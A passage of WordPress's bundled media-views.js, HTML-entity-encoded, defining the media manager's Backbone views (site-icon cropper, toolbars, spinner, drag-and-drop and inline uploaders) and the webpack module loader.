 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Sidebar = wp.media.view.PriorityList.extend(/** @lends wp.media.view.Sidebar.prototype */{
	className: &#039;media-sidebar&#039;
});

module.exports = Sidebar;


/***/ },

/***/ 443
(module) {

var View = wp.media.view,
	SiteIconCropper;

/**
 * wp.media.view.SiteIconCropper
 *
 * Uses the imgAreaSelect plugin to allow a user to crop a Site Icon.
 *
 * Takes imgAreaSelect options from
 * wp.customize.SiteIconControl.calculateImageSelectOptions.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Cropper
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
SiteIconCropper = View.Cropper.extend(/** @lends wp.media.view.SiteIconCropper.prototype */{
	className: &#039;crop-content site-icon&#039;,

	ready: function () {
		View.Cropper.prototype.ready.apply( this, arguments );

		this.$( &#039;.crop-image&#039; ).on( &#039;load&#039;, _.bind( this.addSidebar, this ) );
	},

	addSidebar: function() {
		this.sidebar = new wp.media.view.Sidebar({
			controller: this.controller
		});

		this.sidebar.set( &#039;preview&#039;, new wp.media.view.SiteIconPreview({
			controller: this.controller,
			attachment: this.options.attachment
		}) );

		this.controller.cropperView.views.add( this.sidebar );
	}
});

module.exports = SiteIconCropper;


/***/ },

/***/ 7810
(module) {

var View = wp.media.View,
	$ = jQuery,
	SiteIconPreview;

/**
 * wp.media.view.SiteIconPreview
 *
 * Shows a preview of the Site Icon as a favicon and app icon while cropping.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
SiteIconPreview = View.extend(/** @lends wp.media.view.SiteIconPreview.prototype */{
	className: &#039;site-icon-preview-crop-modal&#039;,
	template: wp.template( &#039;site-icon-preview-crop&#039; ),

	ready: function() {
		this.controller.imgSelect.setOptions({
			onInit: this.updatePreview,
			onSelectChange: this.updatePreview
		});
	},

	prepare: function() {
		return {
			url: this.options.attachment.get( &#039;url&#039; )
		};
	},

	updatePreview: function( img, coords ) {
		var rx = 64 / coords.width,
			ry = 64 / coords.height,
			preview_rx = 24 / coords.width,
			preview_ry = 24 / coords.height;

		$( &#039;#preview-app-icon&#039; ).css({
			width: Math.round(rx * this.imageWidth ) + &#039;px&#039;,
			height: Math.round(ry * this.imageHeight ) + &#039;px&#039;,
			marginLeft: &#039;-&#039; + Math.round(rx * coords.x1) + &#039;px&#039;,
			marginTop: &#039;-&#039; + Math.round(ry * coords.y1) + &#039;px&#039;
		});

		$( &#039;#preview-favicon&#039; ).css({
			width: Math.round( preview_rx * this.imageWidth ) + &#039;px&#039;,
			height: Math.round( preview_ry * this.imageHeight ) + &#039;px&#039;,
			marginLeft: &#039;-&#039; + Math.round( preview_rx * coords.x1 ) + &#039;px&#039;,
			marginTop: &#039;-&#039; + Math.floor( preview_ry* coords.y1 ) + &#039;px&#039;
		});
	}
});

module.exports = SiteIconPreview;


/***/ },

/***/ 9141
(module) {

/**
 * wp.media.view.Spinner
 *
 * Represents a spinner in the Media Library.
 *
 * @since 3.9.0
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Spinner = wp.media.View.extend(/** @lends wp.media.view.Spinner.prototype */{
	tagName:   &#039;span&#039;,
	className: &#039;spinner&#039;,
	spinnerTimeout: false,
	delay: 400,

	/**
	 * Shows the spinner. Delays the visibility by the configured amount.
	 *
	 * @since 3.9.0
	 *
	 * @return {wp.media.view.Spinner} The spinner.
	 */
	show: function() {
		if ( ! this.spinnerTimeout ) {
			this.spinnerTimeout = _.delay(function( $el ) {
				$el.addClass( &#039;is-active&#039; );
			}, this.delay, this.$el );
		}

		return this;
	},

	/**
	 * Hides the spinner.
	 *
	 * @since 3.9.0
	 *
	 * @return {wp.media.view.Spinner} The spinner.
	 */
	hide: function() {
		this.$el.removeClass( &#039;is-active&#039; );
		this.spinnerTimeout = clearTimeout( this.spinnerTimeout );

		return this;
	}
});

module.exports = Spinner;


/***/ },

/***/ 5275
(module) {

var View = wp.media.View,
	Toolbar;

/**
 * wp.media.view.Toolbar
 *
 * A toolbar which consists of a primary and a secondary section. Each sections
 * can be filled with views.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;media-toolbar&#039;,

	initialize: function() {
		var state = this.controller.state(),
			selection = this.selection = state.get(&#039;selection&#039;),
			library = this.library = state.get(&#039;library&#039;);

		this._views = {};

		// The toolbar is composed of two `PriorityList` views.
		this.primary   = new wp.media.view.PriorityList();
		this.secondary = new wp.media.view.PriorityList();
		this.tertiary  = new wp.media.view.PriorityList();
		this.primary.$el.addClass(&#039;media-toolbar-primary search-form&#039;);
		this.secondary.$el.addClass(&#039;media-toolbar-secondary&#039;);
		this.tertiary.$el.addClass(&#039;media-bg-overlay&#039;);

		this.views.set([ this.secondary, this.primary, this.tertiary ]);

		if ( this.options.items ) {
			this.set( this.options.items, { silent: true });
		}

		if ( ! this.options.silent ) {
			this.render();
		}

		if ( selection ) {
			selection.on( &#039;add remove reset&#039;, this.refresh, this );
		}

		if ( library ) {
			library.on( &#039;add remove reset&#039;, this.refresh, this );
		}
	},
	/**
	 * @return {wp.media.view.Toolbar} Returns itself to allow chaining
	 */
	dispose: function() {
		if ( this.selection ) {
			this.selection.off( null, null, this );
		}

		if ( this.library ) {
			this.library.off( null, null, this );
		}
		/**
		 * call &#039;dispose&#039; directly on the parent class
		 */
		return View.prototype.dispose.apply( this, arguments );
	},

	ready: function() {
		this.refresh();
	},

	/**
	 * @param {string} id
	 * @param {Backbone.View|Object} view
	 * @param {Object} [options={}]
	 * @return {wp.media.view.Toolbar} Returns itself to allow chaining.
	 */
	set: function( id, view, options ) {
		var list;
		options = options || {};

		// Accept an object with an `id` : `view` mapping.
		if ( _.isObject( id ) ) {
			_.each( id, function( view, id ) {
				this.set( id, view, { silent: true });
			}, this );

		} else {
			if ( ! ( view instanceof Backbone.View ) ) {
				view.classes = [ &#039;media-button-&#039; + id ].concat( view.classes || [] );
				view = new wp.media.view.Button( view ).render();
			}

			view.controller = view.controller || this.controller;

			this._views[ id ] = view;

			list = view.options.priority &lt; 0 ? &#039;secondary&#039; : &#039;primary&#039;;
			this[ list ].set( id, view, options );
		}

		if ( ! options.silent ) {
			this.refresh();
		}

		return this;
	},
	/**
	 * @param {string} id
	 * @return {wp.media.view.Button}
	 */
	get: function( id ) {
		return this._views[ id ];
	},
	/**
	 * @param {string} id
	 * @param {Object} options
	 * @return {wp.media.view.Toolbar} Returns itself to allow chaining.
	 */
	unset: function( id, options ) {
		delete this._views[ id ];
		this.primary.unset( id, options );
		this.secondary.unset( id, options );
		this.tertiary.unset( id, options );

		if ( ! options || ! options.silent ) {
			this.refresh();
		}
		return this;
	},

	refresh: function() {
		var state = this.controller.state(),
			library = state.get(&#039;library&#039;),
			selection = state.get(&#039;selection&#039;);

		_.each( this._views, function( button ) {
			if ( ! button.model || ! button.options || ! button.options.requires ) {
				return;
			}

			var requires = button.options.requires,
				disabled = false,
				modelsUploading = library &amp;&amp; ! _.isEmpty( library.findWhere( { &#039;uploading&#039;: true } ) );

			// Prevent insertion of attachments if any of them are still uploading.
			if ( selection &amp;&amp; selection.models ) {
				disabled = _.some( selection.models, function( attachment ) {
					return attachment.get(&#039;uploading&#039;) === true;
				});
			}
			if ( requires.uploadingComplete &amp;&amp; modelsUploading ) {
				disabled = true;
			}

			if ( requires.selection &amp;&amp; selection &amp;&amp; ! selection.length ) {
				disabled = true;
			} else if ( requires.library &amp;&amp; library &amp;&amp; ! library.length ) {
				disabled = true;
			}
			button.model.set( &#039;disabled&#039;, disabled );
		});
	}
});

module.exports = Toolbar;


/***/ },

/***/ 397
(module) {

var Select = wp.media.view.Toolbar.Select,
	l10n = wp.media.view.l10n,
	Embed;

/**
 * wp.media.view.Toolbar.Embed
 *
 * @memberOf wp.media.view.Toolbar
 *
 * @class
 * @augments wp.media.view.Toolbar.Select
 * @augments wp.media.view.Toolbar
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Embed = Select.extend(/** @lends wp.media.view.Toolbar.Embed.prototype */{
	initialize: function() {
		_.defaults( this.options, {
			text: l10n.insertIntoPost,
			requires: false
		});
		// Call &#039;initialize&#039; directly on the parent class.
		Select.prototype.initialize.apply( this, arguments );
	},

	refresh: function() {
		var url = this.controller.state().props.get(&#039;url&#039;);
		this.get(&#039;select&#039;).model.set( &#039;disabled&#039;, ! url || url === &#039;http://&#039; );
		/**
		 * call &#039;refresh&#039; directly on the parent class
		 */
		Select.prototype.refresh.apply( this, arguments );
	}
});

module.exports = Embed;


/***/ },

/***/ 9458
(module) {

var Toolbar = wp.media.view.Toolbar,
	l10n = wp.media.view.l10n,
	Select;

/**
 * wp.media.view.Toolbar.Select
 *
 * @memberOf wp.media.view.Toolbar
 *
 * @class
 * @augments wp.media.view.Toolbar
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Select = Toolbar.extend(/** @lends wp.media.view.Toolbar.Select.prototype */{
	initialize: function() {
		var options = this.options;

		_.bindAll( this, &#039;clickSelect&#039; );

		_.defaults( options, {
			event: &#039;select&#039;,
			state: false,
			reset: true,
			close: true,
			text:  l10n.select,

			// Does the button rely on the selection?
			requires: {
				selection: true
			}
		});

		options.items = _.defaults( options.items || {}, {
			select: {
				style:    &#039;primary&#039;,
				text:     options.text,
				priority: 80,
				click:    this.clickSelect,
				requires: options.requires
			}
		});
		// Call &#039;initialize&#039; directly on the parent class.
		Toolbar.prototype.initialize.apply( this, arguments );
	},

	clickSelect: function() {
		var options = this.options,
			controller = this.controller;

		if ( options.close ) {
			controller.close();
		}

		if ( options.event ) {
			controller.state().trigger( options.event );
		}

		if ( options.state ) {
			controller.setState( options.state );
		}

		if ( options.reset ) {
			controller.reset();
		}
	}
});

module.exports = Select;


/***/ },

/***/ 3674
(module) {

var View = wp.media.View,
	l10n = wp.media.view.l10n,
	$ = jQuery,
	EditorUploader;

/**
 * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap)
 * and relays drag&#039;n&#039;dropped files to a media workflow.
 *
 * wp.media.view.EditorUploader
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
EditorUploader = View.extend(/** @lends wp.media.view.EditorUploader.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;uploader-editor&#039;,
	template:  wp.template( &#039;uploader-editor&#039; ),

	localDrag: false,
	overContainer: false,
	overDropzone: false,
	draggingFile: null,

	/**
	 * Bind drag&#039;n&#039;drop events to callbacks.
	 */
	initialize: function() {
		this.initialized = false;

		// Bail if not enabled or UA does not support drag&#039;n&#039;drop or File API.
		if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) {
			return this;
		}

		this.$document = $(document);
		this.dropzones = [];
		this.files = [];

		this.$document.on( &#039;drop&#039;, &#039;.uploader-editor&#039;, _.bind( this.drop, this ) );
		this.$document.on( &#039;dragover&#039;, &#039;.uploader-editor&#039;, _.bind( this.dropzoneDragover, this ) );
		this.$document.on( &#039;dragleave&#039;, &#039;.uploader-editor&#039;, _.bind( this.dropzoneDragleave, this ) );
		this.$document.on( &#039;click&#039;, &#039;.uploader-editor&#039;, _.bind( this.click, this ) );

		this.$document.on( &#039;dragover&#039;, _.bind( this.containerDragover, this ) );
		this.$document.on( &#039;dragleave&#039;, _.bind( this.containerDragleave, this ) );

		this.$document.on( &#039;dragstart dragend drop&#039;, _.bind( function( event ) {
			this.localDrag = event.type === &#039;dragstart&#039;;

			if ( event.type === &#039;drop&#039; ) {
				this.containerDragleave();
			}
		}, this ) );

		this.initialized = true;
		return this;
	},

	/**
	 * Check browser support for drag&#039;n&#039;drop.
	 *
	 * @return {boolean}
	 */
	browserSupport: function() {
		var supports = false, div = document.createElement(&#039;div&#039;);

		supports = ( &#039;draggable&#039; in div ) || ( &#039;ondragstart&#039; in div &amp;&amp; &#039;ondrop&#039; in div );
		supports = supports &amp;&amp; !! ( window.File &amp;&amp; window.FileList &amp;&amp; window.FileReader );
		return supports;
	},

	isDraggingFile: function( event ) {
		if ( this.draggingFile !== null ) {
			return this.draggingFile;
		}

		if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) {
			return false;
		}

		this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, &#039;Files&#039; ) &gt; -1 &amp;&amp;
			_.indexOf( event.originalEvent.dataTransfer.types, &#039;text/plain&#039; ) === -1;

		return this.draggingFile;
	},

	refresh: function( e ) {
		var dropzone_id;
		for ( dropzone_id in this.dropzones ) {
			// Hide the dropzones only if dragging has left the screen.
			this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone );
		}

		if ( ! _.isUndefined( e ) ) {
			$( e.target ).closest( &#039;.uploader-editor&#039; ).toggleClass( &#039;droppable&#039;, this.overDropzone );
		}

		if ( ! this.overContainer &amp;&amp; ! this.overDropzone ) {
			this.draggingFile = null;
		}

		return this;
	},

	render: function() {
		if ( ! this.initialized ) {
			return this;
		}

		View.prototype.render.apply( this, arguments );
		$( &#039;.wp-editor-wrap&#039; ).each( _.bind( this.attach, this ) );
		return this;
	},

	attach: function( index, editor ) {
		// Attach a dropzone to an editor.
		var dropzone = this.$el.clone();
		this.dropzones.push( dropzone );
		$( editor ).append( dropzone );
		return this;
	},

	/**
	 * When a file is dropped on the editor uploader, open up an editor media workflow
	 * and upload the file immediately.
	 *
	 * @param {jQuery.Event} event The &#039;drop&#039; event.
	 */
	drop: function( event ) {
		var $wrap, uploadView;

		this.containerDragleave( event );
		this.dropzoneDragleave( event );

		this.files = event.originalEvent.dataTransfer.files;
		if ( this.files.length &lt; 1 ) {
			return;
		}

		// Set the active editor to the drop target.
		$wrap = $( event.target ).parents( &#039;.wp-editor-wrap&#039; );
		if ( $wrap.length &gt; 0 &amp;&amp; $wrap[0].id ) {
			window.wpActiveEditor = $wrap[0].id.slice( 3, -5 );
		}

		if ( ! this.workflow ) {
			this.workflow = wp.media.editor.open( window.wpActiveEditor, {
				frame:    &#039;post&#039;,
				state:    &#039;insert&#039;,
				title:    l10n.addMedia,
				multiple: true
			});

			uploadView = this.workflow.uploader;

			if ( uploadView.uploader &amp;&amp; uploadView.uploader.ready ) {
				this.addFiles.apply( this );
			} else {
				this.workflow.on( &#039;uploader:ready&#039;, this.addFiles, this );
			}
		} else {
			this.workflow.state().reset();
			this.addFiles.apply( this );
			this.workflow.open();
		}

		return false;
	},

	/**
	 * Add the files to the uploader.
	 */
	addFiles: function() {
		if ( this.files.length ) {
			this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) );
			this.files = [];
		}
		return this;
	},

	containerDragover: function( event ) {
		if ( this.localDrag || ! this.isDraggingFile( event ) ) {
			return;
		}

		this.overContainer = true;
		this.refresh();
	},

	containerDragleave: function() {
		this.overContainer = false;

		// Throttle dragleave because it&#039;s called when bouncing from some elements to others.
		_.delay( _.bind( this.refresh, this ), 50 );
	},

	dropzoneDragover: function( event ) {
		if ( this.localDrag || ! this.isDraggingFile( event ) ) {
			return;
		}

		this.overDropzone = true;
		this.refresh( event );
		return false;
	},

	dropzoneDragleave: function( e ) {
		this.overDropzone = false;
		_.delay( _.bind( this.refresh, this, e ), 50 );
	},

	click: function( e ) {
		// In the rare case where the dropzone gets stuck, hide it on click.
		this.containerDragleave( e );
		this.dropzoneDragleave( e );
		this.localDrag = false;
	}
});

module.exports = EditorUploader;


/***/ },

/***/ 1753
(module) {

var View = wp.media.View,
	UploaderInline;

/**
 * wp.media.view.UploaderInline
 *
 * The inline uploader that shows up in the &#039;Upload Files&#039; tab.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
UploaderInline = View.extend(/** @lends wp.media.view.UploaderInline.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;uploader-inline&#039;,
	template:  wp.template(&#039;uploader-inline&#039;),

	events: {
		&#039;click .close&#039;: &#039;hide&#039;
	},

	initialize: function() {
		_.defaults( this.options, {
			message: &#039;&#039;,
			status:  true,
			canClose: false
		});

		if ( ! this.options.$browser &amp;&amp; this.controller.uploader ) {
			this.options.$browser = this.controller.uploader.$browser;
		}

		if ( _.isUndefined( this.options.postId ) ) {
			this.options.postId = wp.media.view.settings.post.id;
		}

		if ( this.options.status ) {
			this.views.set( &#039;.upload-inline-status&#039;, new wp.media.view.UploaderStatus({
				controller: this.controller
			}) );
		}
	},

	prepare: function() {
		var suggestedWidth = this.controller.state().get(&#039;suggestedWidth&#039;),
			suggestedHeight = this.controller.state().get(&#039;suggestedHeight&#039;),
			data = {};

		data.message = this.options.message;
		data.canClose = this.options.canClose;

		if ( suggestedWidth &amp;&amp; suggestedHeight ) {
			data.suggestedWidth = suggestedWidth;
			data.suggestedHeight = suggestedHeight;
		}

		return data;
	},
	/**
	 * @return {wp.media.view.UploaderInline} Returns itself to allow chaining.
	 */
	dispose: function() {
		if ( this.disposing ) {
			/**
			 * call &#039;dispose&#039; directly on the parent class
			 */
			return View.prototype.dispose.apply( this, arguments );
		}

		/*
		 * Run remove on `dispose`, so we can be sure to refresh the
		 * uploader with a view-less DOM. Track whether we&#039;re disposing
		 * so we don&#039;t trigger an infinite loop.
		 */
		this.disposing = true;
		return this.remove();
	},
	/**
	 * @return {wp.media.view.UploaderInline} Returns itself to allow chaining.
	 */
	remove: function() {
		/**
		 * call &#039;remove&#039; directly on the parent class
		 */
		var result = View.prototype.remove.apply( this, arguments );

		_.defer( _.bind( this.refresh, this ) );
		return result;
	},

	refresh: function() {
		var uploader = this.controller.uploader;

		if ( uploader ) {
			uploader.refresh();
		}
	},
	/**
	 * @return {wp.media.view.UploaderInline}
	 */
	ready: function() {
		var $browser = this.options.$browser,
			$placeholder;

		if ( this.controller.uploader ) {
			$placeholder = this.$(&#039;.browser&#039;);

			// Check if we&#039;ve already replaced the placeholder.
			if ( $placeholder[0] === $browser[0] ) {
				return;
			}

			$browser.detach().text( $placeholder.text() );
			$browser[0].className = $placeholder[0].className;
			$browser[0].setAttribute( &#039;aria-describedby&#039;, $placeholder[0].getAttribute(&#039;aria-describedby&#039;) );
			$placeholder.replaceWith( $browser.show() );
		}

		this.refresh();
		return this;
	},
	show: function() {
		this.$el.removeClass( &#039;hidden&#039; );
		if ( this.controller.$uploaderToggler &amp;&amp; this.controller.$uploaderToggler.length ) {
			this.controller.$uploaderToggler.attr( &#039;aria-expanded&#039;, &#039;true&#039; );
		}
	},
	hide: function() {
		this.$el.addClass( &#039;hidden&#039; );
		if ( this.controller.$uploaderToggler &amp;&amp; this.controller.$uploaderToggler.length ) {
			this.controller.$uploaderToggler
				.attr( &#039;aria-expanded&#039;, &#039;false&#039; )
				// Move focus back to the toggle button when closing the uploader.
				.trigger( &#039;focus&#039; );
		}
	}

});

module.exports = UploaderInline;


/***/ },

/***/ 6442
(module) {

/**
 * wp.media.view.UploaderStatusError
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var UploaderStatusError = wp.media.View.extend(/** @lends wp.media.view.UploaderStatusError.prototype */{
	className: &#039;upload-error&#039;,
	template:  wp.template(&#039;uploader-status-error&#039;)
});

module.exports = UploaderStatusError;


/***/ },

/***/ 8197
(module) {

var View = wp.media.View,
	UploaderStatus;

/**
 * wp.media.view.UploaderStatus
 *
 * An uploader status for on-going uploads.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
UploaderStatus = View.extend(/** @lends wp.media.view.UploaderStatus.prototype */{
	className: &#039;media-uploader-status&#039;,
	template:  wp.template(&#039;uploader-status&#039;),

	events: {
		&#039;click .upload-dismiss-errors&#039;: &#039;dismiss&#039;
	},

	initialize: function() {
		this.queue = wp.Uploader.queue;
		this.queue.on( &#039;add remove reset&#039;, this.visibility, this );
		this.queue.on( &#039;add remove reset change:percent&#039;, this.progress, this );
		this.queue.on( &#039;add remove reset change:uploading&#039;, this.info, this );

		this.errors = wp.Uploader.errors;
		this.errors.reset();
		this.errors.on( &#039;add remove reset&#039;, this.visibility, this );
		this.errors.on( &#039;add&#039;, this.error, this );
	},
	/**
	 * @return {wp.media.view.UploaderStatus}
	 */
	dispose: function() {
		wp.Uploader.queue.off( null, null, this );
		/**
		 * call &#039;dispose&#039; directly on the parent class
		 */
		View.prototype.dispose.apply( this, arguments );
		return this;
	},

	visibility: function() {
		this.$el.toggleClass( &#039;uploading&#039;, !! this.queue.length );
		this.$el.toggleClass( &#039;errors&#039;, !! this.errors.length );
		this.$el.toggle( !! this.queue.length || !! this.errors.length );
	},

	ready: function() {
		_.each({
			&#039;$bar&#039;:      &#039;.media-progress-bar div&#039;,
			&#039;$index&#039;:    &#039;.upload-index&#039;,
			&#039;$total&#039;:    &#039;.upload-total&#039;,
			&#039;$filename&#039;: &#039;.upload-filename&#039;
		}, function( selector, key ) {
			this[ key ] = this.$( selector );
		}, this );

		this.visibility();
		this.progress();
		this.info();
	},

	progress: function() {
		var queue = this.queue,
			$bar = this.$bar;

		if ( ! $bar || ! queue.length ) {
			return;
		}

		$bar.width( ( queue.reduce( function( memo, attachment ) {
			if ( ! attachment.get(&#039;uploading&#039;) ) {
				return memo + 100;
			}

			var percent = attachment.get(&#039;percent&#039;);
			return memo + ( _.isNumber( percent ) ? percent : 100 );
		}, 0 ) / queue.length ) + &#039;%&#039; );
	},

	info: function() {
		var queue = this.queue,
			index = 0, active;

		if ( ! queue.length ) {
			return;
		}

		active = this.queue.find( function( attachment, i ) {
			index = i;
			return attachment.get(&#039;uploading&#039;);
		});

		if ( this.$index &amp;&amp; this.$total &amp;&amp; this.$filename ) {
			this.$index.text( index + 1 );
			this.$total.text( queue.length );
			this.$filename.html( active ? this.filename( active.get(&#039;filename&#039;) ) : &#039;&#039; );
		}
	},
	/**
	 * @param {string} filename
	 * @return {string}
	 */
	filename: function( filename ) {
		return _.escape( filename );
	},
	/**
	 * @param {Backbone.Model} error
	 */
	error: function( error ) {
		var statusError = new wp.media.view.UploaderStatusError( {
			filename: this.filename( error.get( &#039;file&#039; ).name ),
			message:  error.get( &#039;message&#039; )
		} );

		var buttonClose = this.$el.find( &#039;button&#039; );

		// Can show additional info here while retrying to create image sub-sizes.
		this.views.add( &#039;.upload-errors&#039;, statusError, { at: 0 } );
		_.delay( function() {
			buttonClose.trigger( &#039;focus&#039; );
		}, 1000 );

		_.delay( function() {
			wp.a11y.speak( error.get( &#039;message&#039; ) );
		}, 1500 );
	},

	dismiss: function() {
		var errors = this.views.get(&#039;.upload-errors&#039;);

		if ( errors ) {
			_.invoke( errors, &#039;remove&#039; );
		}
		wp.Uploader.errors.reset();
		wp.a11y.speak( wp.i18n.__( &#039;Error dismissed.&#039; ) );
		// Move focus to the modal after the dismiss button gets removed from the DOM.
		if ( this.controller.modal ) {
			this.controller.modal.focusManager.focus();
		}
	}
});

module.exports = UploaderStatus;


/***/ },

/***/ 8291
(module) {

var $ = jQuery,
	UploaderWindow;

/**
 * wp.media.view.UploaderWindow
 *
 * An uploader window that allows for dragging and dropping media.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 *
 * @param {object} [options]                   Options hash passed to the view.
 * @param {object} [options.uploader]          Uploader properties.
 * @param {jQuery} [options.uploader.browser]
 * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone.
 * @param {object} [options.uploader.params]
 */
UploaderWindow = wp.media.View.extend(/** @lends wp.media.view.UploaderWindow.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;uploader-window&#039;,
	template:  wp.template(&#039;uploader-window&#039;),

	initialize: function() {
		var uploader;

		this.$browser = $( &#039;&lt;button type=&quot;button&quot; class=&quot;browser&quot; /&gt;&#039; ).hide().appendTo( &#039;body&#039; );

		uploader = this.options.uploader = _.defaults( this.options.uploader || {}, {
			dropzone:  this.$el,
			browser:   this.$browser,
			params:    {}
		});

		// Ensure the dropzone is a jQuery collection.
		if ( uploader.dropzone &amp;&amp; ! (uploader.dropzone instanceof $) ) {
			uploader.dropzone = $( uploader.dropzone );
		}

		this.controller.on( &#039;activate&#039;, this.refresh, this );

		this.controller.on( &#039;detach&#039;, function() {
			this.$browser.remove();
		}, this );
	},

	refresh: function() {
		if ( this.uploader ) {
			this.uploader.refresh();
		}
	},

	ready: function() {
		var postId = wp.media.view.settings.post.id,
			dropzone;

		// If the uploader already exists, bail.
		if ( this.uploader ) {
			return;
		}

		if ( postId ) {
			this.options.uploader.params.post_id = postId;
		}
		this.uploader = new wp.Uploader( this.options.uploader );

		dropzone = this.uploader.dropzone;
		dropzone.on( &#039;dropzone:enter&#039;, _.bind( this.show, this ) );
		dropzone.on( &#039;dropzone:leave&#039;, _.bind( this.hide, this ) );

		$( this.uploader ).on( &#039;uploader:ready&#039;, _.bind( this._ready, this ) );
	},

	_ready: function() {
		this.controller.trigger( &#039;uploader:ready&#039; );
	},

	show: function() {
		var $el = this.$el.show();

		// Ensure that the animation is triggered by waiting until
		// the transparent element is painted into the DOM.
		_.defer( function() {
			$el.css({ opacity: 1 });
		});
	},

	hide: function() {
		var $el = this.$el.css({ opacity: 0 });

		wp.media.transition( $el ).done( function() {
			// Transition end events are subject to race conditions.
			// Make sure that the value is set as intended.
			if ( &#039;0&#039; === $el.css(&#039;opacity&#039;) ) {
				$el.hide();
			}
		});

		// https://core.trac.wordpress.org/ticket/27341
		_.delay( function() {
			if ( &#039;0&#039; === $el.css(&#039;opacity&#039;) &amp;&amp; $el.is(&#039;:visible&#039;) ) {
				$el.hide();
			}
		}, 500 );
	}
});

module.exports = UploaderWindow;


/***/ },

/***/ 4747
(module) {

/**
 * wp.media.View
 *
 * The base view class for media.
 *
 * Undelegating events, removing events from the model, and
 * removing events from the controller mirror the code for
 * `Backbone.View.dispose` in Backbone 0.9.8 development.
 *
 * This behavior has since been removed, and should not be used
 * outside of the media manager.
 *
 * @memberOf wp.media
 *
 * @class
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var View = wp.Backbone.View.extend(/** @lends wp.media.View.prototype */{
	constructor: function( options ) {
		if ( options &amp;&amp; options.controller ) {
			this.controller = options.controller;
		}
		wp.Backbone.View.apply( this, arguments );
	},
	/**
	 * @todo The internal comment mentions this might have been a stop-gap
	 *       before Backbone 0.9.8 came out. Figure out if Backbone core takes
	 *       care of this in Backbone.View now.
	 *
	 * @return {wp.media.View} Returns itself to allow chaining.
	 */
	dispose: function() {
		/*
		 * Undelegating events, removing events from the model, and
		 * removing events from the controller mirror the code for
		 * `Backbone.View.dispose` in Backbone 0.9.8 development.
		 */
		this.undelegateEvents();

		if ( this.model &amp;&amp; this.model.off ) {
			this.model.off( null, null, this );
		}

		if ( this.collection &amp;&amp; this.collection.off ) {
			this.collection.off( null, null, this );
		}

		// Unbind controller events.
		if ( this.controller &amp;&amp; this.controller.off ) {
			this.controller.off( null, null, this );
		}

		return this;
	},
	/**
	 * @return {wp.media.View} Returns itself to allow chaining.
	 */
	remove: function() {
		this.dispose();
		/**
		 * call &#039;remove&#039; directly on the parent class
		 */
		return wp.Backbone.View.prototype.remove.apply( this, arguments );
	}
});

module.exports = View;


/***/ }

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/**
 * @output wp-includes/js/media-views.js
 */

var media = wp.media,
	$ = jQuery,
	l10n;

media.isTouchDevice = ( &#039;ontouchend&#039; in document );

// Link any localized strings.
l10n = media.view.l10n = window._wpMediaViewsL10n || {};

// Link any settings.
media.view.settings = l10n.settings || {};
delete l10n.settings;

// Copy the `post` setting over to the model settings.
media.model.settings.post = media.view.settings.post;

// Check if the browser supports CSS 3.0 transitions.
$.support.transition = (function(){
	var style = document.documentElement.style,
		transitions = {
			WebkitTransition: &#039;webkitTransitionEnd&#039;,
			MozTransition:    &#039;transitionend&#039;,
			OTransition:      &#039;oTransitionEnd otransitionend&#039;,
			transition:       &#039;transitionend&#039;
		}, transition;

	transition = _.find( _.keys( transitions ), function( transition ) {
		return ! _.isUndefined( style[ transition ] );
	});

	return transition &amp;&amp; {
		end: transitions[ transition ]
	};
}());

/**
 * A shared event bus used to provide events into
 * the media workflows that 3rd-party devs can use to hook
 * in.
 */
media.events = _.extend( {}, Backbone.Events );

/**
 * Makes it easier to bind events using transitions.
 *
 * @param {string} selector
 * @param {number} sensitivity
 * @return {Promise}
 */
media.transition = function( selector, sensitivity ) {
	var deferred = $.Deferred();

	sensitivity = sensitivity || 2000;

	if ( $.support.transition ) {
		if ( ! (selector instanceof $) ) {
